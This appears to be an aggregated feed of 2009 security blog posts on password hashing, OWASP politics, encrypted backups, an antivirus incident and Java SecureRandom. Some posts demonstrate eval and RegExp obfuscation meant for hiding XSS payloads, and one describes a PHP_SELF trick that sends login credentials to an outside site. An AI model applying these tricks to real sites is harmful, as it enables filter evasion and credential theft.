So, it doesn’t shock me that IBM hasn’t dived head-first into the O2 pool, regardless of the opportunity it may represent. I believe they will fully embrace it when the market can support it. In the meantime, O2 can continue to find hospitality and support in the welcome arms of assessment experts like Cigital.

Dominic White's .tHE pRODUCT

SuperGenPass

Posted: November 17th, 2009, 12:20pm CST

Tags: Security [edit]
As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as numerous, examples, have, demonstrated, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out SuperGenPass (or my customised version). The security geek details follow after the jump.

Some of my colleagues use password databases such as KeyPassX, or the browser's "remember password" feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:
- You have all your passwords written down somewhere - at some point you may not be the only one looking at this list
- That list isn't always protected - e.g. using Firefox's "remember password" feature without a master password could expose your password on physical theft of the device
- Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.
None of these are killers, but they aren't ideal. This is where SuperGenPass comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a bookmarklet (don't use this, see below), data URI, straight JavaScript, Python (alternative) and J2MEE implementations.

There are a few potential problems that need to be considered (they all have solutions) however:
- The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation here, and I put up a demo here. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).
- The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my own, more on that later.
- The default password length is 10. That's fine, but given research like this, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.
- MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and that's broken. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)
In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.

In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using my customised version, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.

Thanks to Russell for pointing SGP out in the first place, and Michael for the Python and J2MEE version and the changes.

Justice League

Vendors in an Open-Source Security Community

Posted: November 12th, 2009, 2:05pm CST by jOHN

Tags: Software Security [edit]
I’ve been thinking about this for a while and the tone of this year’s OWASP Global Summit has brought the topic to the forefront. OWASP, as many of you know, is a fiercely open source community. At times, participants defend its open and freeness a bit aggressively for my taste. Sure, open and free are founding principals of the community. I think these principals are essential, valuable, and worth protecting. However, I also believe the community-more broadly-would benefit from an evolved perspective.

Specifically, I believe OWASP should welcome branded security vendors and named individual practitioners into its arms openly. There are three reasons and as I outline them, think to yourself about what vendors like RedHat did for the Linux community.

First – Commercial entities can provide professional and enterprise-level support for OWASP projects to willing commercial entities. Code-based projects (like AppSensor, ESAPI, or other) are easier to imagine the impact of than others.

Second – Large entities seeking to participate within OWASP need assurances which the OWASP community hasn’t itself provided. Things I’ve heard loud-and-clear include:
1. Anonymous participation for industry players working for sensitive organizations
2. Structured feedback, steering, and funding for OWASP projects
Vendors do not uniquely possess the ability to provide these capabilities. The community could provide this value but has not prioritized it nor has it been able to convince industry it could appropriately address their security/anonymity concerns or provide tangible value. Vendors have much better luck in these regards.

Third, finally, and most Importantly – vendors desiring to enter the space should be seen as a welcome sign of maturity to the space. Maturity, to me, will mean key advancements:
1. Larger and less ad-hoc budgets within organizations for application security
2. The emergence of higher and more explicit standards for quality for the community’s free and open software/tools
3. Convergence of the security community’s message, which will allow it to be taken more seriously
To facilitate this, I suggest the OWASP board do the following things:
1. Explicitly endorse vendor participation, as long as it meets the community’s code of ethics and conduct
2. Stop ‘the crank’ over people’s personal / corporate emails being used on OWASP lists
3. Protect a commitment to technical quality by avoiding vendor pitches at conferences in chapter meetings, and in posting
I really don’t mind when people use their corporate email addresses when they mail public lists (OWASP or otherwise). As a chapter leader, I don’t (personally) mind when presenters show up with their company’s slide stock though I push them to use the chapter template. To me, corporate emails and slide stock help audience members identify and appropriately couch bias. Given my own profession and employer, my own biases should be evident.

On the community front, my roles spanning the gamut between OWASP Member, Chapter Leader, and invited industry advisor. I see my professional life and my community involvement as being mutually reinforcing and beneficial, rather than conflicts of interest. I enjoy having two outlets for my time and work. And, while, Yes there’s bad individual behavior out there, I’d like to see people more comfortable with their dual-roles. Again, I think their professional career, their volunteer community, and the industry as a whole will benefit.
AppSec DC ‘09

Posted: November 9th, 2009, 2:45pm CST by jOHN

Tags: Software Security [edit]

After what must have been an incredible amount of leg-work a cabal of folk from the DC OWASP chapter are putting on the AppSec DC conference. The conference will also play host to the ‘09 OWASP Global Summit. I hope to see you there. Especially those of you practitioners from within organizations’ security groups–I feel like you provide essential perspective from the trenches of our security war.

Elections
Elections will be held to add another board member to OWASP and I’m anxious to see how the process plays out. Knowing all four announced candidates, I imagine different outcomes based on who receives the nod. In an odd turn of events, I actually like all the candidates; I think they’re great guys. In particular, I’ve known Pravir for many years, I’ve worked with him off-and-on, and respect him deeply.

I’d like to point out Eoin Keary’s bid in particular, because I like his focus on quality and governance. I perceive OWASP be at an inflection point in its development and growing pains are already evident. Selecting particular projects on which to focus, placing them under more rigorous quality control, and working towards maturity criteria others have begun to define can really increase the reach and impact of OWASP. This idea is essential to Mr. Keary’s platform.

Tesauro and Chandra, contributors to project assessment criteria, appear to place importance on this as well. Consider the draft criteria their committee is working on.

Again, I think quality is an ever-more-important imperative as the OWASP community grows and I’d like to see the assessment criteria expand to contain some more explicit and rigorous technical quality gates for a project. As I look at popular existing projects, I am beginning to feel a pressing need for outside review/revision.

Talks
As the Java EE persona of the ESAPI project nears release, I’m anxious to see a more hands-on, more technical, and more developer-focused presentation on the project at AppSec DC. Recent presentations/commentary has felt a bit more like cheerleading to me.

Of course, I’ll be dying to know what Dinis has added to O2 recently and it appears he’ll be presenting on this topic.

Threat Modeling
I’ll be presenting on Threat modeling on Wednesday but I’m also very interested in discussing the topic with the guys from SecurityCompass, who will be giving all-day training on the topic. Rohit in particular, has made what I consider to be top-notch start on his Java EE Security Patterns document and I’m anxious to see the methodology that back-ended their work.

cat slave diary

How not to answer secret questions and answers

Posted: October 26th, 2009, 6:06pm CDT by vanderaj

Tags: Security [edit]

This one is not quite safe for work, but it’s very funny:

Live Chat Help

Currently experiencing network delays, one moment please….
Network connection re-established.
Adam Brooke: Do you work for the IRS?
Kamyar: Thank you for waiting Sir. Unfortunately we cannot access your password, however we can reset it, which enables you to access your account change the password right away.
Kamyar: Would that be acceptible?
Adam Brooke: Thanks, that would be great
Kamyar: Very well Sir. In order to process your request, please provide us with the answer to your secret question :
“How long is you cock?”. This is for authentication purposes and is part of our security policy.
Adam Brooke: Very or long
Currently experiencing network delays, one moment please….
Network connection re-established.
Kamyar: Thank you. I will accept that. The exact answer we have on file is “Very!”. Your temporary password is reset to “brooke”.
Kamyar: Please try to sign in again and kindly confirm once you are signed in.
Adam Brooke: I really hope you are laughing too. Thanks for being so professional.

[www.fixfactory.co.uk]

p.s. I use random security questions (if possible) and random answers stored in a password manager. It’s the only safe way to avoid being pwned. Good luck trying to answer “What’s your mother’s maiden name” with me! It could be n,;Ug~RolDE0?RP>A{Y/ or worse.

Disenchant's Blog

Incremental Backups of Crypto Containers

Posted: October 22nd, 2009, 11:25am CDT by Disenchant

Tags: Security [edit]

If you want to backup your crypto containers, you have mainly two choices:
1.) Open the container on your machine and one on the backup server and than you can start with an incremental backup.
2.) You always transfer the whole crypto container.
From a security point of view it’s not acceptable to open a container on a remote host which is perhaps even not owned by you and of course you don’t want to backup a 1GB container after you’ve just added a small *.txt
Here, I’ll demonstrate how to do incremental backups of crypto containers without even once open them

# backup.sh echo "Creating patch" bsdiff disk_of_last_change.tc disk_to_work_with.tc patch.patch echo "Move patch to server" mv patch.patch serverSide cd ./serverSide echo "Use patch" bspatch disk_on_the_server.tc disk_on_the_server.tc patch.patch cd ../ echo "cleanup" rm ./serverSide/patch.patch rm disk_of_last_change.tc cp disk_to_work_with.tc disk_of_last_change.tc

Unfortunately, this is not as fast as it could be, even if it’s much faster than transfering the whole container all the time but I also found a quiet strange way on how to improve the speed of the whole process. You can just use base64 encoding and the normall diff instead of using bsdiff because you can work much faster on plain text files than on binary files. Here’s how an example could look like:

# backup64.sh # # run once: # base64 disk_to_work_with.tc > disk_of_last_change_64.tc base64 disk_to_work_with.tc > disk_to_work_with_64.tc echo "Creating patch" diff disk_of_last_change_64.tc disk_to_work_with_64.tc > patch64.patch echo "Move patch to server" mv patch64.patch ./serverSide/ cd ./serverSide echo "Use patch" patch disk_on_the_server_64.tc patch64.patch cd ../ echo "cleanup" #rm disk_of_last_change.tc #rm disk_of_last_change_64.tc rm ./serverSide/patch64.patch mv disk_to_work_with_64.tc disk_of_last_change_64.tc base64 -d disk_of_last_change_64.tc > disk_to_work_with.tc

As you’ll see, the patches are slightly bigger than the ones with bsdiff but I think you can accept that when you get such a huge performance improvement by using the base64 version.

I know that I didn’t really explain everything but don’t hesitate to ask me if there are any questions

The Spanner

My RegExp is leaking

Posted: October 20th, 2009, 5:27am CDT by Gareth Heyes

Tags: Security [edit]
I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we don’t want to leak.

Don’t get me wrong this isn’t a huge issue, it’s just one of those little spec holes which we can exploit for Obfuscation or information leakage. Noscript or Firefox I’m not sure which seems to leak the last RegExp execution when called from a event. An example of this can be viewed here:-

Regexp leak

So when you click the link, the URL is actually built from Noscripts scan of the URL using the following code:-
```
alert(RegExp['$`']+RegExp['$&']+RegExp['$''])
```
This could be used for hiding a XSS payload or something, like I said not really that serious…okay onto obfuscation. We can use leftContext etc as a variable to eval and execute code based on the RegExp matches like so:-
```
/\u0024/.test('x61x6cx65x72x74x28x31x29x24');
eval(RegExp['$`'])
```
So the pattern finds $ within the text alert(1)$ and returns the leftContext (RegExp['$`']) which is alert(1) and executes the code.

And finally I’ll leave you with some bonus obfuscation:-
```
eval('a'.replace(/(.+)/,'$1l').replace(/(.+)/,'$1e').replace(/(.+)/,'$1r').replace(/(.+)/,'$1t').replace(/(.+)/,'$1(').replace(/(.+)/,'$11').replace(/(.+)/,'$1)'))
```
```
eval('342342ale'.replace(/d+/,'$`')+'rt23879'.replace(/d+/,'$'')+'abcdefggi(1)'.replace(/.+(([1]))/,'$+'))
```

Dominic White's .tHE pRODUCT

"Evil Thug" goes after Full-Disk Encryption

Posted: October 19th, 2009, 3:35pm CDT

Tags: Security [edit]

Boy do I have news for you security people out there; I have a 100% reliable way of breaking all encryption! I call it the "Evil Thug" attack. I provide this service for a small fee. The entry level service will get me or an employee for a hour, this is all it will take to break any encryption in the world (and no we don't need a prostitute, even for 2048bit RSA encryption).
The basic methodology is to approach the encrypted device... and punch the owner in the face until they decrypt the device. The premium service will have this punch-up upgraded to a rubber hosing, and the platinum version will get you some drugs and a $5 wrench. Unlike our competitors, you won't need to involve a notoriously unreliable Latino third-party stereotype.

Okay, jokes aside. Joanna Rutkowska, who has done some hardcore stuff in the past, has done a write-up and released a tool showing how easily the passphrase for a full-disk encryption product can be retrieved by an example person who has access to your physical laptop, even if powered off and without requiring the complexity of coldboot attacks. While she acknowledges that "the concept behind the Evil Maid Attack is neither new, nor l33t in any way" the amount of non-critical coverage it has gotten has irked me.

Her scenario involves someone who not only has access to your laptop without you being around, but has repeat access to your living space, and if they choose, *you*. Of the one squillion options available to a thief at this point, some complicated boot-loader jiggery pokery (not to mention extensions to support other full disk encryption software, AV evasion and the inevitable arms-race/maintenance overhead these things turn into) seems far less viable than beating it out of the victim, or even poisoning their toothpaste and only giving them the antidote once decryption has occurred.

Arguably, actually beating someone exposes you to all sorts of potential law enforcement nastiness, like getting ID'ed in a perp walk. However, if you are going to train an army of maids, *and* have them chain gang laptops out of hotels, you can still get ID'ed by a maid, and you're setting up a fairly big bread trail to your operation by involving that many people, and stealing that much stuff. In short; No, this does not provide you some magic-anti-police ability to scale the theft and is less violent but no more effective than our platinum wrench service.

In future, please don't look to encryption to stop bullets, or pretend that when it doesn't something interesting has happened.

ha.ckers.org web application security lab

Happy 900 and RSnakes on a Plane!

Posted: October 19th, 2009, 2:58pm CDT by RSnake

Tags: Random Security [edit]

I realized after I posted the last post that ha.ckers.org has finally reached the 900 blog post mark. I honestly didn’t think we’d make it. After how many hornets’ nests we’ve stirred up over the last 5 years that this version of this site has been online, it’s kind of amazing that the site is still going strong. So I decided to do a bit of a fun post. If you are lacking a sense of humor, please move on now. We’ll forgive you. Now, in reference to a recent Twitter post about yours truly:

@shawnmoyer What no @rsnake’s on a plane joke?

Speaking of RSnakes on a plane - I was taking a trans-Atlantic flight and I was bored - as an RSnake will tend to be after 2 solid hours of a classic but bad Meg Ryan movie. I realized that they had some games on the in-flight entertainment. Ahh, something to play, this should be amusing. Well, if the games were good, maybe I would have been more interested, but Blackjack sounded good enough for kicks. So I started playing. You start off with $100. Well, after me quickly losing a few hands, I decide that playing like a normal user is getting me nowhere. Let’s try some different tactics. How about betting $100 and then folding? Ah… I end up with a negative integer, somehow. Now what if I bet a huge negative number and fold again - like -200? Ah, I get an even bigger negative integer.

What happens if I keep doubling my bet? Hmmm… this negative integer thing is getting huge. Oops! Blackjack - huge positive payout: time and a half larger than my bet even! Alas, somewhere around 1,000,000 is when the in flight entertainment crashed on me - and it turns out that clicking the button thousands of times to change your increment of betting from -50,000 to +50,000 in $5 increments is a really crappy way to make a flight go faster. But before all that, here’s the picture I took:

Click here to enlarge

How many things were wrong here? Input validation errors, logic flaws, and negative integers used for currency… The worst part was I couldn’t even bet someone a free drink that I could get a higher score than them because they offered free drinks in-flight. Alas! Anyway, this story was in case, like Mortman, you were wondering what it’s like to fly with RSnakes on a plane… Moral of the story - stop showing old Meg Ryan movies on airplanes.

Dominic White's .tHE pRODUCT

When AntiVirus was the Virus

Posted: October 19th, 2009, 5:38am CDT

Tags: Security [edit]

This weekend was rather eventful, and we learned a valuable lesson about viruses, security software, and professional scepticism in IT environments. I've briefly documented it below so you can learn from our mistakes.

Last week Wednesday a virus was detected on a client's network. The anti-virus (AV) host intrusion prevention system (HIPS) was updated to block access to the URLs the virus was using to fetch its payload and other control instruction.. However, the domain lookups[1] to these URLs increased massively by Friday, so much so, they caused the internal firewalls to fail due to the load from trying to inspect this traffic. Domain lookups were then blocked at the firewall, but the source of the lookups persisted. However, network access was restored and outwardly there was nothing wrong.

We now needed a sample of the virus. Without it we could not get a signature from our AV vendor and get it removed from the whole environment. We also needed to know what it did so we could advise on appropriate remediation (e.g. changing facebook passwords). We tried all sorts of things. We isolated one machine and tried to work out what would make the lookups stop (our test for the existence of the virus). We replaced the local domain cache with static links (in hosts and lmhosts files) to try and make the lookups not traverse the network (and hence not cause outages in future), while we tried looking for the virus. We ran multiple tools and scoured 'infected' hard drives looking for the virus. We even dumped running programs from RAM fearing the virus had injected itself into a legitimate windows process. We killed processes until bluescreen or reboot, everything we could think of to try and find a failure criteria that would identify a sample. Meanwhile, our AV vendor's highest level escalation analysts were connecting in to our machines, we were uploading hundreds of potentially infected files to them, and a hard drive had been priority couriered to them. This continued 24 hours a day during the weekend with IT personnel working 24hr shifts until breaking point.

Eventually, on Sunday it was discovered that there was no virus (or not as widespread as we believed) and that our AV's HIPS had in fact been causing the domain lookup flood. By assigning the HIPS to block traffic to the viruses' domain, the HIPS would perform a domain lookup to find where the domain current resides and block that. However, instead of caching the lookup's result, our AV would regularly re-lookup the domain. This is likely because of 'fast flux'[2] malware domains which bounce their actual location all over the internet. The unintended consequence however, was a DNS flood. Even then, DNS should not be large enough to cause significant network latency, and it was this in conjunction with the firewalls attempting to inspect and apply policy to this traffic that caused the failure. What's more, is that the domain lookups should have gone to local DNS resolvers and not the internal top-level DNS (which is behind the firewalls), but were bypassing their local cache due to advised against misconfigurations.

In summary, our own security software caused an unintended consequence, that behaved much like a highly complex virus. In future, I would recommend that at least two solid points of evidence for the existence of a virus be discovered before a sample is attempted to be recovered (usually an infection vector and behaviour, if you see behaviour after infection but not before, then you have something). While, on the surface, I feel quite stupid, in reality not even the top level analysts at our AV spotted the behaviour of their own software. The truth is that IT environments are sufficiently complex, that these sorts of mistakes are more likely than not. As security people, our job is to know this, and make sure we can guide people to get enough evidence to know what is happening before they waste an entire weekend. This is why I want all of you to learn from our mistake :)

[1] The internet works on IP addresses, these are four sets of numbers. However, they are not very human readable, so the domain name system (DNS) was created to allow human readable names e.g. www.google.com which a domain lookup would translate to something like 209.85.227.103

[2] Virus writers have worked out that if they rely on one domain then it is fairly easy to get them shut down. So they usually make their viruses query a couple to several thousand domains, and make those domains regularly change the IP address returned (see [1]) providing two layers of rapidly changing complexity, thus making them that much harder to stop.

Justice League

White Hat Hacker Man

Posted: October 13th, 2009, 9:00am CDT by Guest

Tags: Software Security [edit]

This is a guest post by Cigital’s resident songwriter, Paco Hope.

In an effort to go down in history as the “Weird Al Yankovic” of Software Security, I’ve released my latest single: This time it’s “White Hat Hacker Man” to the tune of Billy Joel’s “Piano Man.”

And here are the lyrics:

It’s five o’clock on a Saturday
The developers are trying again
The release manager waits in his cubicle
for the build scripts and smoke tests to run

He says how will we do this by Monday?
The security tests haven’t begun
It’s buggy and brittle
and does just a little
of what the sales guys downtown say it can

NIST 800-53, FIPS 140-2, PCI….

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Now Bob down the hall is a friend of mine
He uses tools right off the shelf
He can do just a scan
or maybe try something canned,
but he’s better than doing it yourself.

He says “why do we need these consultants?
I can do all this stuff just the same.”
He doesn’t realize, when the hackers come,
Who the management’s going to blame.

CISSP, MSCE, SANS GIAC

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Now Dave’s the development manager
And security’s a pain in his ass
Cause he knows first and foremost
Features get him his bonus
So security always comes last

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Well it’s been a long day in security
The dev manager gives a sad smile
He knows this release
Despite all their pleas
Will miss their deadline by a mile

And metasploit overflows buffers
And the shell code runs on servers galore
And they burned another sprint
Instead of building security in
So assessments will go on some more

CCIE, OWASP, PMP

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

The Spanner

PHP self return of the slash

Posted: September 25th, 2009, 3:33am CDT by Gareth Heyes

Tags: Security [edit]

Not posted for a while because I couldn’t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it’s been long enough now. This is also quite funny because my server is vulnerable to this (that’s what I get for crappy hosting).

So what happens if you escape PHP_SELF with htmlentities($_SERVER['PHP_SELF'], ENT_QUOTES)? Safe from XSS? I hope so. Safe from everything? Well not really or at least it didn’t used to be. You see PHP does some crazy things with the URL and it’s possible to change a form target to an external URL without using any unsafe characters. Take the following example:-

Login form

This form simulates some web application login and uses PHP_SELF to output the URL because for some reason the developer doesn’t want to type “login.php” or use __FILE___. The URL is escaped from XSS but we can change the form target by simply supplying slashes e.g.

Sending Google your password So the user enters their username and password combination and thinks that they are logging on to the target application in reality you are sending the details to a evil site.

I checked PHP5 and it seemed ok but this will serve as a reminder that the slash can get you.

Michael Howard's Web Log

Security Sessions at TechEd in Australia and New Zealand

Posted: September 6th, 2009, 3:20pm CDT by michael_HOWARD

Tags: Security [edit]
I'm heading to TechEd Oz and NZ in a couple of hours to present the following:
SEC312 The "Everything Developers Need to Know About Security" Talk
- Oz: 9/10/2009 15:30-16:45
- NZ: 9/14/2009 14:15-15:30
SEC201 Inside the Microsoft Security Development Lifecycle: And how you can use it!
- Oz: 9/10/2009 11:30-12:45
- NZ: 9/15/2009 12:10-13:25
I'm also giving a couple of half-day SDL workshops:
SDL Workshop
- Oz: 9/11/2009 (I'll update once I get the time!)
- NZ: 9/13/2009 10:20 - 13:00
If you cannot make it to TechEd this year, a number of sessions, including SEC201 will be made available through Live Meeting. More info here.

The Spanner

Javascript compression with unicode characters

Posted: August 15th, 2009, 6:19am CDT by Gareth Heyes

Tags: Security [edit]
For some random reason I was making a base999 number compression function, I think it was because someone posted on sla.ckers about base 62. I wanted to see how far I could compress the numbers using a higher range of characters, then it hit me. Why not use it for js compression

You see if you convert the characters to their character code number and then extract a section of the number and convert it to a unicode character you can drastically reduce the amount of characters, provided of course your code contains enough characters as a decompression function is required.

I’ve added the three tag to Hackvertor to demo the compression. Here is a sample of code:-
```
eval("◮ᾥѵ٨ፍ".replace(/[^s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)}))
```
The unpacking function simply gets the character codes, then the very specific regexp finds a range of characters from !-~ based on the character code number. This is because I only have one long number and they are not separated. I leave spaces intact because they don’t fall between the ranges and also it can break syntax if they are missing a semi-colon. It’s possible to reduce it further by including these characters.

So if you want to have some fun, try reducing the amount of characters compressed and see if you can create a smaller decompression function. Below is an example of the jspack tag in action:-
JS pack
Update…
Ok as Andrea pointed out this isn’t actual compression however many systems including twitter think the unicode characters are actually only 1 byte which results in longer message. So you can compress a 280 character message into 140. Sirdarckcat manage to get it down to the 50% ratio, you can send encoded twitter messages with Hackvertor. Like this:-

Encoded twitter message

Justice League

Proper use of Java’s SecureRandom

Posted: August 14th, 2009, 9:54am CDT by Guest

Tags: Software Security [edit]
This is a guest post by Amit Sethi, Senior Consultant at Cigital.

When generating random numbers in Java for cryptographic purposes, many developers often use the java.security.SecureRandom class. And while the java.security.SecureRandom class is designed to generate cryptographically secure random numbers, there are a few subtleties in the API, and if it is used improperly the output can become predictable. At Cigital we have witnessed a number of cases where this is true. The following is a guide to the proper use of Java’s java.security.SecureRandom class.

First, let’s take a quick look at how the java.security.SecureRandom API works. The java.security.SecureRandom class does not actually implement a pseudorandom number generator (PRNG) itself. It uses PRNG implementations in other classes to generate random numbers. A number of actual PRNGs may actually be used when an instance of java.security.SecureRandom is created. The PRNGs are part of Java cryptographic service providers (CSPs). In Sun’s Java implementation, the SUN CSP is used by default. On Windows, the SUN CSP uses the SHA1PRNG implemented in sun.security.provider.SecureRandom by default. On Solaris and Linux, the SUN CSP default is to use sun.security.provider.NativePRNG which simply provides the output of the /dev/urandom PRNG provided by the operating system. If however, on Solaris/Linux, the java.security configuration file in the JRE is modified such that securerandom.source is set to something other than file:/dev/urandom, then the SHA1PRNG implemented in sun.security.provider.SecureRandom is used, as on Windows. Of course, an application can choose not to use the defaults, and can always specify a particular PRNG implemented by a particular cryptographic provider. In Cigital’s experience, most Java applications that use java.security.SecureRandom actually use the SHA1PRNG provided by the SUN CSP under the cover.

Now, an application will end up with an instance of SHA1PRNG implemented in sun.security.provider.SecureRandom using the following calls:
```
// The following will create SUN SHA1PRNG on Windows with
// default configuration and Sun JRE, and on Solaris/Linux
// if securerandom.source is modified in java.security
SecureRandom sr1 = new SecureRandom();

// The following will create SUN SHA1PRNG if the highest
// priority CSP is SUN
SecureRandom sr2 = SecureRandom.getInstance("SHA1PRNG");

// The following will always create SUN SHA1PRNG
SecureRandom sr3 = SecureRandom.getInstance("SHA1PRNG", "SUN");
```
Note that according to Sun’s documentation, the returned java.security.SecureRandom instance is not seeded by any of these calls. If after one of these calls, java.security.SecureRandom.nextBytes(byte[]) is called, then the PRNG is seeded using a secure mechanism provided by the underlying operating system (starting with JRE 1.4.1 in Windows and JRE 1.4.2 in Linux and Solaris). If java.security.SecureRandom.setSeed(long) or java.security.SecureRandom.setSeed(byte[]) is called before a call to java.security.SecureRandom.nextBytes(byte[]), then the internal seeding mechanism is bypassed, and only the provided seed is used to generate random numbers.

For those who are not familiar with the inner workings of cryptographic PRNGs, their job is to take a relatively small random seed and use it to produce deterministic output that seems random to anybody that does not know what the seed is. The PRNG tries to ensure that the output does not reveal any information about the seed, and that somebody observing the output cannot predict future outputs without knowing the seed.

By bypassing the internal secure seeding mechanism of the SHA1PRNG, you may compromise the security of your PRNG output. If you seed it with anything that an attacker can potentially predict (e.g. the time when the PRNG instance was created), then using java.security.SecureRandom may not provide the level of security that you need.

Finally, regardless of how well the PRNG is seeded, it should not be used indefinitely without reseeding. There are two approaches that can be used for longer-term security of PRNG output:
- Periodically throw away the existing java.security.SecureRandom instance and create a new one. This will generate a new instance with a new seed.
- Periodically add new random material to the PRNG seed by making a call to java.security.SecureRandom.setSeed(java.security.SecureRandom.generateSeed(int)).
In summary, keep the following in mind when using java.security.SecureRandom:
- Always specify the exact PRNG and provider that you wish to use. If you just use the default PRNG, you may end up with different PRNGs on different installations of your application that may need to be called differently in order to work properly. Using the following code to get a PRNG instance is appropriate:
  SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "SUN");
- When using the SHA1PRNG, always call java.security.SecureRandom.nextBytes(byte[]) immediately after creating a new instance of the PRNG. This will force the PRNG to seed itself securely. If for testing purposes, you need predictable output, ignoring this rule and seeding the PRNG with hard-coded/predictable values may be appropriate.
- Use at least JRE 1.4.1 on Windows and at least JRE 1.4.2 on Solaris and Linux. Earlier versions do not seed the SHA1PRNG securely.
- Periodically reseed your PRNG as observing a large amount of PRNG output generated using one seed may allow the attacker to determine the seed and thus predict all future outputs.

The Spanner

Fresh prototypes on all browsers

Posted: August 11th, 2009, 9:05am CDT by Gareth Heyes

Tags: Security [edit]
So there’s a well known technique for getting Object prototypes that are not from the current window which results in a fresh prototype. You use iframes to copy the required prototype from the iframe.contentWindow BUT…It doesn’t work in all browsers and it’s pretty silly having to copy each object manually, why not just use the window? Well you can

So after a lot of code testing/rewriting here is how to do it:-
```
var iframe = document.createElement('iframe');
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.frameborder = "0";
iframe.style.position = 'absolute';
iframe.style.left = '-100px';
iframe.style.top = '-100px';
document.body.appendChild(iframe);
var code = "(function(objConstructor){ return window.NameOfInstance= objConstructor();})(" + objConstructor+ ")";
if (window.opera) {
        iframe.contentWindow.Function(code)();
} else {
        iframe.contentWindow.document.write('' + code + '');
        iframe.contentWindow.document.close();
}
var obj = iframe.contentWindow.NameOfInstance;
if(!obj) {
        iframe.contentWindow.Function(code)();
        obj = iframe.contentWindow.NameOfInstance;
}
```
So here obj contains our Object instance within the context of the iframe window, that means any references to window inside your object only affect the iframe context. The reason for the if statements and different code is because Firefox, Safari, Opera and IE all act differently. Opera doesn’t pass the object straight away unless the Function constructor is used, Safari supports the Function constructor method and the document.write method but doesn’t return the object correctly when using document.write until it’s loaded.

The important part about this code is that you don’t need to use the onload event of the iframe as the object is returned instantly
Creating HTML listeners with JSReg and Hackvertor

Posted: August 4th, 2009, 7:34am CDT by Gareth Heyes

Tags: Security [edit]
JSReg has grown up a bit since I released the first version. You can now use it to monitor malicious javascript. I have a very basic example of this in Hackvertor, at the moment Hackvertor doesn’t support callbacks so it’s a bit of a hack but you will get the idea.

I use __defineSetter__ to monitor the fake document object, you see in JSReg the document object doesn’t exist it becomes $document$ but you can supply your own object in order to create a listener. At the moment the code only works on Firefox, see below for the example:-
```
var parser = JSReg();
var result;
parser.setDebugObjects({result: function(code){
                                                result = code;
                                                }});
var html = '';
if (window.__defineSetter__) {
        var htmlLog = function(str) {
                html += str;
        }
        var obj = {
                $write$:htmlLog,
                $body$:htmlLog
        }
        obj.$body$.__defineSetter__('$innerHTML$',htmlLog);
        obj.__defineSetter__('$innerHTML$',htmlLog);
        parser.setDocument(obj);
}
try {
        parser.runCheck();
        parser.eval(code);
}
catch (e) {
        alert(e.description||e);
}
alert('Decoding javascript...');
if(html != '') {
        result += 'nHTML:'+html;
}
return result;
```
So “obj” is our fake document object, I just add the properties write and body. Then I use __defineSetter__ to monitor any assignments to innerHTML. You could monitor more of course and even extend the window object to monitor eval. So how does this work in practice? Well take a look below with some fake encoded malicious javascript:-

Encoded fake javascript malware

As you can see JSReg executes the javascript safely and then uses the fake document to monitor document.write which presents you with the HTML output. This is only a basic example of how it could be used, in future I plan to allow Hackvertor to provide more detailed examination of malicious javascript.

Justice League

Is “Software Protection” Software Security?

Posted: July 29th, 2009, 3:21pm CDT by gem

Tags: Software Security [edit]
I am the editor of the Addison-Wesley Software Security series. When Christian Collberg came to me with an idea for a book about software protection, I had a really hard time figuring out whether or not it belonged in the series. Christian is a brilliant researcher and an important guiding light in the field. But should we consider software protection part of software security? Good question! To make matters worse, half the software security people I polled said “yes” and the other half said “no.”

In the end, I held out to see what Christian and his co-authors (who eventually boiled down to one—Jasvir Nagra) came up with. The answer is the excellent book Surreptitious Software. It’s in the series.

I believe that software protection will play a larger and larger role in protecting software from certain security attacks. To name a few concrete cases, imagine these scenarios:
- you’re a game producer and you need to protect your intellectual property against pirates (at least for a month or two after your game is released so you can make some money)
